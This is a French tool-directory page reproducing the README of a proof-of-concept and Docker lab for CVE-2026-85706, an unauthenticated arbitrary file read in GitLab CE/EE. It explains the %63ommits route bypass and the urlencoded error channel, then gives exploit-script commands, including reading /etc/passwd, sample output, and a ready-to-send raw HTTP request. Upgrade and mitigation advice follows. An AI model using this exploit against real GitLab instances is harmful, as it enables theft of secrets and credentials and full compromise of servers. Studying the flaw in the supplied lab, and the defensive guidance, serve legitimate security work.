Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-85706 — PoC et lab Docker pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE via le contournement de la route de l'API commits et le canal d'erreur urlencodé. | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2026-85706
Analyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsSécurité WebTests d'IntrusionLabs et Pratique
GitHubeqstlab/cve-2026-85706

CVE-2026-85706

PoC et lab Docker pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE via le contournement de la route de l'API commits et le canal d'erreur urlencodé.

2341il y a 2 joursPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-85706 Lecture arbitraire de fichiers non authentifiée dans GitLab

★ CVE-2026-85706 PoC de lecture arbitraire de fichiers non authentifiée dans GitLab ★

https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d


Vue d'ensemble

CVE-2026-85706 est une lecture arbitraire de fichiers non authentifiée dans GitLab CE/EE (CVSS 10.0, CISA KEV) via POST /api/v4/projects/:id/repository/commits, dont l'assistant de téléversement de corps s'exécute avant authenticate! et lit params['file.path'] comme un chemin absolu sans confinement. L'encodage URL d'un caractère de commits → %63ommits fait que GitLab-Workhorse ne reconnaît pas la route (il n'écrase donc jamais file.path), tandis que Rails décode toujours %63 → c et route vers le gestionnaire — permettant à l'attaquant de définir file.path via la chaîne de requête. Avec Content-Type=application/x-www-form-urlencoded, l'assistant réanalyse le contenu du fichier et un % non suivi de deux chiffres hexadécimaux reflète ce contenu dans le corps 400 (les fichiers sans un tel caractère ne donnent qu'un oracle de lecture 401). Nécessite au moins un projet public.


Versions affectées

CatégorieVersion
VulnérablesGitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
Corrigées19.1.8 / 19.2.6 / 19.3.2 ou ultérieures (2026-09-10)

Impact

  • Lecture arbitraire de fichiers non authentifiée de tout fichier lisible par le processus du service GitLab
  • Divulgation de fichiers dont le contenu contient un % invalide (journaux applicatifs, et configurations/identifiants intégrant des valeurs encodées en URL) → reconnaissance + vol d'identifiants → chaînage vers un accès authentifié / compromission totale de l'instance
  • La primitive de lecture atteint des fichiers à forte valeur (gitlab-secrets.json, database.yml) ; noter que les fichiers purement hexadécimaux/base64 ne renvoient qu'un oracle d'existence via le canal public de réflexion % (aucun octet % invalide pour déclencher l'écho)
  • Le correctif ajoute authenticate! avant l'assistant de téléversement de corps, de sorte qu'une requête non authentifiée est refusée avant le point de lecture de fichier

Environnement

Construisez et exécutez le GitLab CE vulnérable. Au démarrage, le seeder dépose /flag.txt (avec un déclencheur de fuite % en fin de fichier) et crée un projet public victim/public-app (id de projet 1) afin que l'API commits soit accessible sans authentification. Le premier démarrage prend environ 2–3 minutes.

docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...

Le flag est un espace réservé (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Définissez le vôtre au moment de l'exécution sans modifier l'image : docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.

PréconditionÉtat dans ce lab
GitLab 18.7 – 19.1.719.1.7-ce.0
Au moins un projet public (un anonyme atteint l'API commits)victim/public-app (id 1), créé automatiquement
/api/v4/projects/:id/repository/commits accessible sans authentificationexposé
Flag sur le système de fichiers du serveur/flag.txt (déclencheur de réflexion % en fin de fichier)

PoC

L'exploit gitlab_exploit.py lit un fichier sur le serveur avec une seule requête non authentifiée, en utilisant le contournement de route Workhorse %63ommits et le canal d'erreur de réanalyse urlencoded. Choisissez le fichier avec --read (par défaut /flag.txt).

# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}

Options :

  • --read "<abs path>" — chemin de fichier absolu à lire (par défaut /flag.txt)
  • --project <id> — id du projet public accessible sans authentification (par défaut 1)
  • --check — confirme uniquement que le point de lecture de fichier est accessible (attend local file not present)

Requête brute (pour Burp Repeater) :

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close


Atténuation

  • Mettez à niveau GitLab vers 19.1.8 / 19.2.6 / 19.3.2 ou ultérieur
  • Si vous ne pouvez pas mettre à niveau immédiatement, bloquez les POST/PUT vers */repository/commits* et */repository/files* au niveau d'un proxy/WAF, et placez l'instance derrière SSO / VPN / une liste d'autorisation d'IP
  • Après le correctif : supposez que tout fichier lisible par le service GitLab (journaux, configurations, secrets) a été exposé si le point de terminaison était accessible depuis Internet — invalidez les sessions et renouvelez les identifiants / secrets exposés

Analyse

  • KR :
  • EN :
Télécharger l’outil